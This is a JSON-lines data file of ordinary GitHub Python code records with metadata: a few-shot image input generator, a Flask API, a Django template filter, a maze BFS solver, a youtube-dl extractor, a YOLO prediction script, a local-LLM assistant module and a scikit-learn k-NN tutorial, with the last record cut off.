{"seq_id": "74774219750", "text": "import numpy as np\nimport pdb\nimport pickle\n\nfrom numpy import random\nimport random\nimport skimage\nfrom skimage import transform\nimport os\nimport platform\nimport matplotlib.pyplot as plt\n\nimport click\nimport glob\n\ndefaultParams = {\n\n 'no_classes': 5, # Number of classes in the N-way K-shot learning case\n 'no_shots': 1, # Number of 'shots' in the few-shots learning\n 'rand_seed':0, # Select the random seed file for taking the weights\n 'no_filters' : 64, # Numebr of filters in the convolutional layers\n 'imagesize': 31, # The size of the 2D images to be reshaped to\n 'present_test': 1,\n 'learningrate': 1e-5, # The initial learning rate for the network\n #'print_every': 10, # After how many epochs\n}\nTEST_CLASSES = 100\n\nclass input_generator:\n\n def __init__(self,*args):\n print (\"Initialized the input_generator\")\n for arg in args:\n print (arg)\n\n\n def dataset_reader(self,data_dir):\n train_dir = data_dir + 'images_background/'\n test_dir = data_dir + 'images_evaluation/'\n print (train_dir, test_dir)\n imagedata = []\n imagefilenames = []\n for curr_dir in (train_dir,\n test_dir):\n classdirs = glob.glob(curr_dir+'*')\n #print(classdirs[:4],\"meoww\")\n for class_dir in classdirs:\n imagedirs = glob.glob(class_dir+\"/*\")\n #print(chardirs)\n for image_dir in imagedirs:\n imgdata = []\n imgfiles = glob.glob(image_dir+'/*')\n #print (charfiles,\"These are the charfiles\")\n for file in imgfiles:\n #print(file,\"the file data\")\n filedata = plt.imread(file)\n #print(len(filedata))\n imgdata.append(filedata)\n imagedata.append(imgdata)\n imagefilenames.append(file)\n\n # imagedata[CharactertNumber][FileNumber] -> numpy(105,105)\n np.random.shuffle(imagedata)\n new_image_data = np.array(imagedata)\n print(len(imagedata), new_image_data.shape, 'this is the imagedata')\n print(imagedata[1][2].shape)\n print(\"Data loaded!\")\n return imagedata\n\n\n def gen_inputs_labels_testlabel(self, params, imagedata, test):\n\n train_pick = np.arange(len(imagedata) - TEST_CLASSES, len(imagedata))\n test_pick = np.arange(len(imagedata) - TEST_CLASSES)\n\n if test:\n pick_samples = np.random.permutation(train_pick)[:params['no_classes']] # Which categories to use for this *testing* episode?\n else:\n pick_samples = np.random.permutation(test_pick)[:params['no_classes']] # Which categories to use for this *training* episode?\n\n pick_samples = np.random.permutation(pick_samples) # Again randomizing\n\n inputs = np.zeros((params['steps'], params['imagesize'], params['imagesize'])) #inputTensor, initially in numpy format... Note dimensions: number of steps x batchsize (always 1) x NbChannels (also 1) x h x w\n labels = np.zeros((params['steps'], params['no_classes'])) #labelTensor, initially in numpy format...\n testlabel = np.zeros(params['no_classes'])\n\n rotations = np.random.randint(4, size=len(imagedata))\n\n # select the class on which we'll test in this episode\n unpermuted_samples = pick_samples.copy()\n\n selection = 0\n for _ in range(params['no_shots']):\n\n np.random.shuffle(pick_samples) # Always show the classes in fully random fashion\n for i, sample_num in enumerate(pick_samples):\n #Randomly select a sample\n p = random.choice(imagedata[sample_num])\n # Randomly rotate the seleted sample\n for _ in range(rotations[sample_num]):\n p = np.rot90(p)\n p = skimage.transform.resize(p, (31, 31))\n inputs[selection,:,:] = p[:][:]\n labels[selection][np.where(unpermuted_samples == sample_num)] = 1\n #if nn == 0:\n # print(labelT[location][0])\n selection += 1\n\n\n # Inserting the test character\n test_sample = random.choice(unpermuted_samples)\n p = random.choice(imagedata[test_sample])\n for _ in range(rotations[test_sample]):\n p = np.rot90(p)\n p = skimage.transform.resize(p, (31, 31))\n\n #inputs[selection][0][0][:][:] = p[:][:]\n inputs[selection,:,:] = p[:][:]\n selection += 1\n \n # inputs = torch.from_numpy(inputs).type(torch.cuda.FloatTensor) # Convert from numpy to Tensor\n # labels = torch.from_numpy(labels).type(torch.cuda.FloatTensor)\n # Generating the test label\n testlabel[np.where(unpermuted_samples == test_sample)] = 1\n\n assert(selection == params['steps'])\n\n #targets = torch.from_numpy(testlabel).type(torch.cuda.FloatTensor)\n\n return inputs, labels, testlabel\n\ninput = input_generator()\n", "repo_name": "Nu-AI/Neuromodulatory_OneShotLearning", "sub_path": "hardware_emulated/input_generator.py", "file_name": "input_generator.py", "file_ext": "py", "file_size_in_byte": 5251, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "glob.glob", "line_number": 45, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 48, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 52, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.imread", "line_number": 56, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 56, "usage_type": "name"}, {"api_name": "numpy.random.shuffle", "line_number": 63, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 63, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 64, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 73, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 74, "usage_type": "call"}, {"api_name": "numpy.random.permutation", "line_number": 77, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 77, "usage_type": "attribute"}, {"api_name": "numpy.random.permutation", "line_number": 79, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 79, "usage_type": "attribute"}, {"api_name": "numpy.random.permutation", "line_number": 81, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 81, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 83, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 84, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 85, "usage_type": "call"}, {"api_name": "numpy.random.randint", "line_number": 87, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 87, "usage_type": "attribute"}, {"api_name": "numpy.random.shuffle", "line_number": 95, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 95, "usage_type": "attribute"}, {"api_name": "random.choice", "line_number": 98, "usage_type": "call"}, {"api_name": "numpy.rot90", "line_number": 101, "usage_type": "call"}, {"api_name": "skimage.transform.resize", "line_number": 102, "usage_type": "call"}, {"api_name": "skimage.transform", "line_number": 102, "usage_type": "attribute"}, {"api_name": "numpy.where", "line_number": 104, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 111, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 112, "usage_type": "call"}, {"api_name": "numpy.rot90", "line_number": 114, "usage_type": "call"}, {"api_name": "skimage.transform.resize", "line_number": 115, "usage_type": "call"}, {"api_name": "skimage.transform", "line_number": 115, "usage_type": "attribute"}, {"api_name": "numpy.where", "line_number": 124, "usage_type": "call"}]} {"seq_id": "18145297458", "text": "import warnings\n\nfrom flask import Flask, request, jsonify\nfrom python.predict import role_infer\nfrom predict import role_predict\n\nwarnings.filterwarnings('ignore')\napp = Flask(__name__)\n\n\n@app.route(\"/keyword\", methods=[\"GET\", \"POST\"])\ndef info_test():\n \"\"\"\n url: http://172.19.164.120:5000/keyword\n 返回标签和实体，支持 post 请求\n\n kwargs:\n text: 搜索文本\n\n post:\n url: http://127.0.0.1:5000/keyword\n kwargs: \"text\": ...\n\n return:\n {0:\n {\n 'alarmTime': ['2022-01-04 12:00:00', '2022-01-04 12:59:59'],\n 'region': {'province': '四川省', 'city': '成都市', 'county': '武侯区', 'detail': '', 'full_location': '四川省成都市武侯区', 'orig_location': '武侯'},\n 'deathCount': [0, 10],\n 'injuredCount': [112, None],\n 'fireReason': [1]\n }\n }\n \"\"\"\n data = request.form if request.method == \"POST\" else request.args\n\n try:\n sent_role_mapping = role_infer(**data)\n result = '' if '0' in sent_role_mapping and len(sent_role_mapping['0']) < 1 else jsonify(sent_role_mapping)\n except Exception:\n result = ''\n\n return result\n\n\n@app.route(\"/\")\ndef hello_world():\n return \"

Hello, World!

\"\n\n\nif __name__ == '__main__':\n app.run(host=\"0.0.0.0\", port=5000)\n # text = [\n # '1月4日12点 武侯 0-十人死亡 112人以上受伤 起火原因：电气短路',\n # '静电 高层',\n # ]\n # print(role_infer(text))\n", "repo_name": "jasonvanf/event-extraction", "sub_path": "api.py", "file_name": "api.py", "file_ext": "py", "file_size_in_byte": 1546, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "71", "api": [{"api_name": "warnings.filterwarnings", "line_number": 7, "usage_type": "call"}, {"api_name": "flask.Flask", "line_number": 8, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 35, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 35, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 35, "usage_type": "attribute"}, {"api_name": "flask.request.args", "line_number": 35, "usage_type": "attribute"}, {"api_name": "python.predict.role_infer", "line_number": 38, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 39, "usage_type": "call"}]} {"seq_id": "20436574713", "text": "# -*- coding: utf-8 -*-\n\"\"\"Application filter for `datetime`_ 24 hours.\n\n.. _datetime: https://docs.python.org/2/library/datetime.html\n\"\"\"\n\nfrom django import template\n\nregister = template.Library()\n\n\n@register.filter(name='format_time')\ndef format_datetime(value):\n hours, rem = divmod(value.seconds, 3600)\n minutes, seconds = divmod(rem, 60)\n tens = int(round(value.microseconds / 10000))\n if tens < 10:\n tens = str('0') + str(tens)\n if seconds < 10:\n seconds = str('0') + str(seconds)\n\n return '{}:{}.{}'.format(minutes, seconds, tens)\n", "repo_name": "rubenvanerk/finswimmingrankings", "sub_path": "rankings/templatetags/datetime_filter.py", "file_name": "datetime_filter.py", "file_ext": "py", "file_size_in_byte": 571, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "django.template.Library", "line_number": 9, "usage_type": "call"}, {"api_name": "django.template", "line_number": 9, "usage_type": "name"}]} {"seq_id": "6351748163", "text": "import sys\nfrom collections import deque\n\nwhile True:\n line = sys.stdin.readline()\n if line.isspace():\n continue\n else:\n L, R, C = map(int, line.split())\n if L == 0 and R == 0 and C == 0:\n break\n graph = []\n start = None\n end = None\n for l in range(L):\n graph.append([])\n for r in range(R):\n row = sys.stdin.readline().strip()\n graph[l].append(row)\n if not start:\n c = row.find('S')\n if c != -1:\n start = (l, r, c)\n if not end:\n c = row.find('E')\n if c != -1:\n end = (l, r, c)\n if l < L-1:\n sys.stdin.readline()\n \n if not end:\n print(\"탈출 불가\")\n else:\n q = deque([start])\n visited = [[[-1] * C for _ in range(R)] for _ in range(L)]\n l, r, c = start\n visited[l][r][c] = 0\n while q:\n l, r, c = q.popleft()\n for dl, dr, dc in (0, 0, 1), (0, 0, -1), (0, 1, 0), (0, -1, 0), (1, 0, 0), (-1, 0, 0):\n nl = l + dl\n nr = r + dr\n nc = c + dc\n if 0 <= nl < L and 0 <= nr < R and 0 <= nc < C and visited[nl][nr][nc] == -1 and graph[nl][nr][nc] != '#':\n visited[nl][nr][nc] = visited[l][r][c] + 1\n q.append((nl, nr, nc))\n l, r, c = end\n result = visited[l][r][c]\n if result == -1:\n print(\"탈출 불가\")\n else:\n print(f\"탈출 성공 : {result}분\")", "repo_name": "jmkim0/algorithm_study", "sub_path": "weekly_study_group/Week 9/06-큐브_미로.py", "file_name": "06-큐브_미로.py", "file_ext": "py", "file_size_in_byte": 1590, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "sys.stdin.readline", "line_number": 5, "usage_type": "call"}, {"api_name": "sys.stdin", "line_number": 5, "usage_type": "attribute"}, {"api_name": "sys.stdin.readline", "line_number": 18, "usage_type": "call"}, {"api_name": "sys.stdin", "line_number": 18, "usage_type": "attribute"}, {"api_name": "sys.stdin.readline", "line_number": 29, "usage_type": "call"}, {"api_name": "sys.stdin", "line_number": 29, "usage_type": "attribute"}, {"api_name": "collections.deque", "line_number": 34, "usage_type": "call"}]} {"seq_id": "43303506141", "text": "import re\nimport base64\n\nfrom .common import InfoExtractor\n\n\nclass WimpIE(InfoExtractor):\n _VALID_URL = r'(?:http://)?(?:www\\.)?wimp\\.com/([^/]+)/'\n _TEST = {\n u'url': u'http://www.wimp.com/deerfence/',\n u'file': u'deerfence.flv',\n u'md5': u'8b215e2e0168c6081a1cf84b2846a2b5',\n u'info_dict': {\n u\"title\": u\"Watch Till End: Herd of deer jump over a fence.\"\n }\n }\n\n def _real_extract(self, url):\n mobj = re.match(self._VALID_URL, url)\n video_id = mobj.group(1)\n webpage = self._download_webpage(url, video_id)\n title = self._search_regex(r'',webpage, 'video title')\n thumbnail_url = self._search_regex(r'', webpage,'video thumbnail')\n googleString = self._search_regex(\"googleCode = '(.*?)'\", webpage, 'file url')\n googleString = base64.b64decode(googleString).decode('ascii')\n final_url = self._search_regex('\",\"(.*?)\"', googleString,'final video url')\n ext = final_url.rpartition(u'.')[2]\n\n return [{\n 'id': video_id,\n 'url': final_url,\n 'ext': ext,\n 'title': title,\n 'thumbnail': thumbnail_url,\n }]\n\n", "repo_name": "fdanesse/JAMediaSuite", "sub_path": "JAMediaTube/gtk3/youtube_dl/extractor/wimp.py", "file_name": "wimp.py", "file_ext": "py", "file_size_in_byte": 1302, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "71", "api": [{"api_name": "common.InfoExtractor", "line_number": 7, "usage_type": "name"}, {"api_name": "re.match", "line_number": 19, "usage_type": "call"}, {"api_name": "base64.b64decode", "line_number": 25, "usage_type": "call"}]} {"seq_id": "72628728231", "text": "from nets.yolo3 import yolo_body\nfrom keras.layers import Input\nfrom yolo import YOLO\nfrom PIL import Image\nimport tqdm\n\nyolo = YOLO()\n\ntest_file = \"test_imglist.txt\"\nimg_file = \"./img\"\n\nwith open(test_file) as f:\n lines = f.readlines()\n n_test = len(lines)\n print(\"num of test images:\",n_test)\n output_csv = open(\"sub.csv\",\"a\")\n\n for line in lines:\n img_path = line.strip()\n img_name = line.strip().split(\"/\")[1].split(\".\")[0]\n # print(img_name)\n # print(img_path)\n # print(img_path)\n image = Image.open(img_path)\n predict_img_info = yolo.detect_images(image)\n predict_img_info = str(predict_img_info).strip(\"[\").strip(\"]\").replace(\"'\",\"\")\n #print(predict_img_info)\n text = img_name + \".jpg\" + \",\" + str(predict_img_info) + \"\\n\"\n output_csv.write(text)\n output_csv.close()\nyolo.close_session()\nprint(\"all done\")", "repo_name": "CodingChaozhang/yolo3-keras-breath_mask", "sub_path": "predict_imgs.py", "file_name": "predict_imgs.py", "file_ext": "py", "file_size_in_byte": 907, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 49, "dataset": "github-code", "pt": "71", "api": [{"api_name": "yolo.YOLO", "line_number": 7, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 24, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 24, "usage_type": "name"}, {"api_name": "yolo.detect_images", "line_number": 25, "usage_type": "call"}, {"api_name": "yolo.close_session", "line_number": 31, "usage_type": "call"}]} {"seq_id": "12487331600", "text": "import requests\nfrom dotenv import load_dotenv\nimport os\nfrom freeGPT import gpt3\n\nload_dotenv(r\"..\\.env\")\n\nbatch_size = os.getenv(\"BATCH_SIZE\")\ntemperature = os.getenv(\"TEMPERATURE\")\ntop_k = os.getenv(\"TOP_K\")\ntop_p = os.getenv(\"TOP_P\")\nn_keep = os.getenv(\"N_KEEP\")\nn_predict = os.getenv(\"N_PREDICT\")\nstop = os.getenv(\"STOP\")\nthreads = os.getenv(\"THREADS\")\nas_loop = bool(os.getenv(\"AS_LOOP\"))\ninteractive = bool(os.getenv(\"INTERACTIVE\"))\n\ndef chatwithgpt(prompt):\n resp = gpt3.Completion.create(prompt=prompt)\n return str(resp['text'])\n\ndef post_prompt(instruction):\n prompt = \"\"\"Jarvis, an intelligent AI assistant, the epitome of refinement and courtesy in the AI world. \n As he engages in conversation, his responses are graced with a gracious 'Sir,' \n adding a touch of chivalry to his articulate and insightful answers. He answers all the\n conversations and questions very easily, providing near to accurate or accurate answers.\n \"\"\"\n try:\n prompt += f\"\\n\\n### Instruction:\\n\\n${instruction}\\n\\n### Response:\\n\\n\"\n url = f\"http://127.0.0.1:8080/completion\"\n data = {\n \"prompt\": prompt,\n \"batch_size\": batch_size,\n \"temperature\": temperature,\n \"top_k\": top_k,\n \"top_p\": top_p,\n \"n_keep\": n_keep,\n \"n_predict\": n_predict,\n \"stop\": [stop],\n \"exclude\": [],\n \"threads\": threads,\n \"as_loop\": as_loop,\n \"interactive\": interactive\n }\n response = requests.post(url, json=data)\n \n message = \"\"\n while True:\n response = requests.get(f\"http://127.0.0.1:8080/next-token\")\n message += response.text\n\n if stop in response:\n print(\"completed\")\n prompt += message\n break\n return message\n except Exception as e:\n print(f\"An Error Occured! {e}\")", "repo_name": "Shreyas-ITB/Jarvis", "sub_path": "libs/communicate.py", "file_name": "communicate.py", "file_ext": "py", "file_size_in_byte": 1969, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "71", "api": [{"api_name": "dotenv.load_dotenv", "line_number": 6, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 8, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 9, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 10, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 11, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 12, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 13, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 14, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 15, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 16, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 17, "usage_type": "call"}, {"api_name": "freeGPT.gpt3.Completion.create", "line_number": 20, "usage_type": "call"}, {"api_name": "freeGPT.gpt3.Completion", "line_number": 20, "usage_type": "attribute"}, {"api_name": "freeGPT.gpt3", "line_number": 20, "usage_type": "name"}, {"api_name": "requests.post", "line_number": 46, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 50, "usage_type": "call"}]} {"seq_id": "37762837814", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Jul 23 13:18:02 2019\r\n\r\n@author: jacqueline.cortez\r\n\r\nCapítulo 1. Classification\r\nIntroduction:\r\n In this chapter, you will be introduced to classification problems and learn how to solve them using supervised learning techniques. \r\n Classification problems are prevalent in a variety of domains, ranging from finance to healthcare. Here, you will have the chance to \r\n apply what you are learning to a political dataset, where you classify the party affiliation of United States Congressmen based on their \r\n voting records.\r\n\"\"\"\r\n\r\n# Import packages\r\nimport pandas as pd #For loading tabular data\r\nimport numpy as np #For making operations in lists\r\n#import matplotlib as mpl #To format numbers with ax.yaxis.set_major_formatter(mpl.ticker.StrMethodFormatter('{x:,.0f}')) or ax.get_xaxis().set_major_formatter(matplotlib.ticker.FuncFormatter(lambda x, p: format(int(x), ',')))\r\nimport matplotlib.pyplot as plt #For creating charts\r\nimport seaborn as sns #For visualizing data\r\n#import scipy.stats as stats #For accesign to a vary of statistics functiosn\r\n#import statsmodels as sm #For stimations in differents statistical models\r\n#import scykit-learn #For performing machine learning \r\n#import tabula #For extracting tables from pdf\r\n#import nltk #For working with text data\r\n#import math #For accesing to a complex math operations\r\n#import random #For generating random numbers\r\n#import calendar #For accesing to a vary of calendar operations\r\n#import re #For regular expressions\r\n\r\n#from pandas.plotting import register_matplotlib_converters #For conversion as datetime index in x-axis\r\n#from math import radian #For accessing a specific math operations\r\n#from functools import reduce #For accessing to a high order functions (functions or operators that return functions)\r\n#from pandas.api.types import CategoricalDtype #For categorical data\r\n#from glob import glob #For using with pathnames matching\r\n#from datetime import datetime #For obteining today function\r\n#from string import Template #For working with string, regular expressions\r\nfrom sklearn import datasets #For learning machine\r\nfrom sklearn.neighbors import KNeighborsClassifier # Import KNeighborsClassifier from sklearn.neighbors\r\nfrom sklearn.model_selection import train_test_split\r\n\r\n#from bokeh.io import curdoc, output_file, show #For interacting visualizations\r\n#from bokeh.plotting import figure, ColumnDataSource #For interacting visualizations\r\n#from bokeh.layouts import row, widgetbox, column, gridplot #For interacting visualizations\r\n#from bokeh.models import HoverTool, ColumnDataSource, CategoricalColorMapper #For interacting visualizations\r\n#from bokeh.models import Slider, Select, Button, CheckboxGroup, RadioGroup, Toggle #For interacting visualizations\r\n#from bokeh.models.widgets import Tabs, Panel #For interacting visualizations\r\n#from bokeh.palettes import Spectral6 #For interacting visualizations\r\n\r\n# Setting the pandas options\r\n#pd.set_option(\"display.max_columns\",20)\r\n#pd.options.display.float_format = '{:,.4f}'.format \r\n#pd.reset_option(\"all\")\r\n#register_matplotlib_converters() #Require to explicitly register matplotlib converters.\r\n\r\n#plt.rcParams = plt.rcParamsDefault\r\n#plt.rcParams['figure.constrained_layout.use'] = True\r\n#plt.rcParams['figure.constrained_layout.h_pad'] = 0.09\r\n\r\n#Setting the numpy options\r\n#np.set_printoptions(precision=3) #precision set the precision of the output:\r\n#np.set_printoptions(suppress=True) #suppress suppresses the use of scientific notation for small numbers\r\n\r\nprint(\"****************************************************\")\r\nprint(\"** BEGIN **\")\r\nprint(\"****************************************************\")\r\nprint(\"** Getting the data for this program\\n\")\r\n\r\nfile = \"house-votes-84.csv\" \r\nvote_df = pd.read_csv(file, header = None, na_values='?',\r\n names = ['party', 'infants', 'water', 'budget', 'physician', 'salvador',\r\n 'religious', 'satellite', 'aid', 'missile', 'immigration', 'synfuels',\r\n 'education', 'superfund', 'crime', 'duty_free_exports', 'eaa_rsa'])\r\nvote_df.fillna('n', inplace=True)\r\nvote_df.replace('n',0, inplace=True)\r\nvote_df.replace('y',1, inplace=True)\r\n\r\nprint(\"****************************************************\")\r\ntema = '3. Exploratory data analysis'; print(\"** %s\\n\" % tema)\r\n\r\niris = datasets.load_iris()\r\nprint(type(iris))\r\nprint(iris.keys())\r\nprint(type(iris.data), type(iris.target))\r\nprint(iris.data.shape)\r\nprint(iris.target_names)\r\n\r\nx = iris.data\r\ny = iris.target\r\ndf = pd.DataFrame(x, columns=iris.feature_names)\r\nplt.style.use('ggplot')\r\n\r\nprint(df.head())\r\n\r\npd.plotting.scatter_matrix(df, c=y, figsize=[8,8], s=150, marker='D')\r\nplt.style.use('default')\r\n\r\n\r\nprint(\"****************************************************\")\r\ntema = '5. Visual EDA'; print(\"** %s\\n\" % tema)\r\n\r\nplt.figure()\r\nplt.style.use('ggplot')\r\nsns.set(font_scale=0.8)\r\n\r\nplt.subplot(2,2,1)\r\nsns.countplot(x='education', hue='party', data=vote_df, palette='RdBu')\r\nplt.xticks([0,1], ['No', 'Yes'])\r\nplt.title(\"Education Votation\")\r\n\r\nplt.subplot(2,2,2)\r\nsns.countplot(x='satellite', hue='party', data=vote_df, palette='RdBu')\r\nplt.xticks([0,1], ['No', 'Yes'])\r\nplt.title(\"Satellite Votation\")\r\n\r\nplt.subplot(2,2,3)\r\nsns.countplot(x='missile', hue='party', data=vote_df, palette='RdBu')\r\nplt.xticks([0,1], ['No', 'Yes'])\r\nplt.title(\"Satellite Votation\")\r\n\r\nplt.suptitle(tema)\r\nplt.subplots_adjust(left=None, bottom=0.10, right=None, top=0.90, wspace=0.5, hspace=0.7)\r\nplt.show()\r\nplt.style.use('default')\r\n\r\n\r\nprint(\"****************************************************\")\r\ntema = \"7. k-Nearest Neighbors: Fit\"; print(\"** %s\\n\" % tema)\r\n\r\ny = vote_df['party'].values # Create arrays for the features and the response variable\r\nX = vote_df.drop('party', axis=1).values\r\n\r\nknn = KNeighborsClassifier(n_neighbors=6) # Create a k-NN classifier with 6 neighbors\r\nknn.fit(X, y) # Fit the classifier to the data\r\n\r\n\r\n\r\nprint(\"****************************************************\")\r\ntema = \"8. k-Nearest Neighbors: Predict\"; print(\"** %s\\n\" % tema)\r\n\r\nnp.random.seed(42)\r\n#X_new = np.random.random(size=16)\r\nX_new = np.random.randint(2, size=16)\r\n\r\ny_pred = knn.predict(X) # Predict the labels for the training data X\r\nnew_prediction = knn.predict([X_new]) # Predict and print the label for the new data point X_new\r\nprint(\"X_new: {}\".format(X_new))\r\nprint(\"Prediction: {}\".format(new_prediction))\r\naciertos = sum([a==b for a, b in zip(y, y_pred)])\r\nprint(\"X Data Aciertos: {0} de {1} ({2:0.2f}%).\".format(aciertos, len(y), aciertos/len(y)*100))\r\n\r\n\r\n\r\nprint(\"****************************************************\")\r\ntema = \"10. The digits recognition dataset\"; print(\"** %s\\n\" % tema)\r\n\r\ndigits = datasets.load_digits() # Load the digits dataset: digits\r\nprint(digits.keys()) # Print the keys and DESCR of the dataset\r\n#print(digits.DESCR)\r\nprint(digits.images.shape) # Print the shape of the images and data keys\r\nprint(digits.data.shape)\r\nprint(digits.target_names)\r\n\r\nplt.figure()\r\nplt.imshow(digits.images[1010], cmap=plt.cm.gray_r, interpolation='nearest') # Display digit 1010\r\nplt.show()\r\n\r\n\r\nprint(\"****************************************************\")\r\ntema = \"11. Train/Test Split + Fit/Predict/Accuracy\"; print(\"** %s\\n\" % tema)\r\n\r\n\r\n# Create feature and target arrays\r\nX = digits.data\r\ny = digits.target\r\n\r\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size = 0.4, random_state=42, stratify=y) # Split into training and test set\r\nknn = KNeighborsClassifier(n_neighbors=7) # Create a k-NN classifier with 7 neighbors: knn\r\nknn.fit(X_train, y_train) # Fit the classifier to the training data\r\n\r\n# Print the accuracy\r\nprint(knn.score(X_test, y_test))\r\n\r\n\r\n\r\nprint(\"****************************************************\")\r\ntema = '12. Overfitting and underfitting'; print(\"** %s\\n\" % tema)\r\n\r\n# Setup arrays to store train and test accuracies\r\nneighbors = np.arange(1, 9)\r\ntrain_accuracy = np.empty(len(neighbors))\r\ntest_accuracy = np.empty(len(neighbors))\r\n\r\n# Loop over different values of k\r\nfor i, k in enumerate(neighbors):\r\n # Setup a k-NN Classifier with k neighbors: knn\r\n knn = KNeighborsClassifier(n_neighbors=k)\r\n\r\n # Fit the classifier to the training data\r\n knn.fit(X_train, y_train)\r\n \r\n #Compute accuracy on the training set\r\n train_accuracy[i] = knn.score(X_train, y_train)\r\n\r\n #Compute accuracy on the testing set\r\n test_accuracy[i] = knn.score(X_test, y_test)\r\n\r\n# Generate plot\r\nsns.set() # Set default Seaborn style\r\nplt.figure()\r\nplt.plot(neighbors, test_accuracy, label = 'Testing Accuracy')\r\nplt.plot(neighbors, train_accuracy, label = 'Training Accuracy')\r\nplt.legend()\r\nplt.xlabel('Number of Neighbors')\r\nplt.ylabel('Accuracy')\r\nplt.title('k-NN: Varying Number of Neighbors')\r\nplt.suptitle(tema)\r\n#plt.subplots_adjust(left=0.32, bottom=None, right=None, top=None, wspace=None, hspace=None)\r\nplt.show()\r\nplt.style.use('default')\r\n\r\n\r\nprint(\"****************************************************\")\r\nprint(\"** END **\")\r\nprint(\"****************************************************\")", "repo_name": "jacesca/python_ds", "sub_path": "Supervised Learning with scikit-learn/01_Classification.py", "file_name": "01_Classification.py", "file_ext": "py", "file_size_in_byte": 10117, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "pandas.read_csv", "line_number": 70, "usage_type": "call"}, {"api_name": "sklearn.datasets.load_iris", "line_number": 81, "usage_type": "call"}, {"api_name": "sklearn.datasets", "line_number": 81, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 90, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.style.use", "line_number": 91, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.style", "line_number": 91, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 91, "usage_type": "name"}, {"api_name": "pandas.plotting.scatter_matrix", "line_number": 95, "usage_type": "call"}, {"api_name": "pandas.plotting", "line_number": 95, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.style.use", "line_number": 96, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.style", "line_number": 96, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 96, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 102, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 102, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.style.use", "line_number": 103, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.style", "line_number": 103, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 103, "usage_type": "name"}, {"api_name": "seaborn.set", "line_number": 104, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 106, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 106, "usage_type": "name"}, {"api_name": "seaborn.countplot", "line_number": 107, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 108, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 108, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 109, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 109, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 111, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 111, "usage_type": "name"}, {"api_name": "seaborn.countplot", "line_number": 112, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 113, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 113, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 114, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 114, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 116, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 116, "usage_type": "name"}, {"api_name": "seaborn.countplot", "line_number": 117, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 118, "usage_type": "call"}, 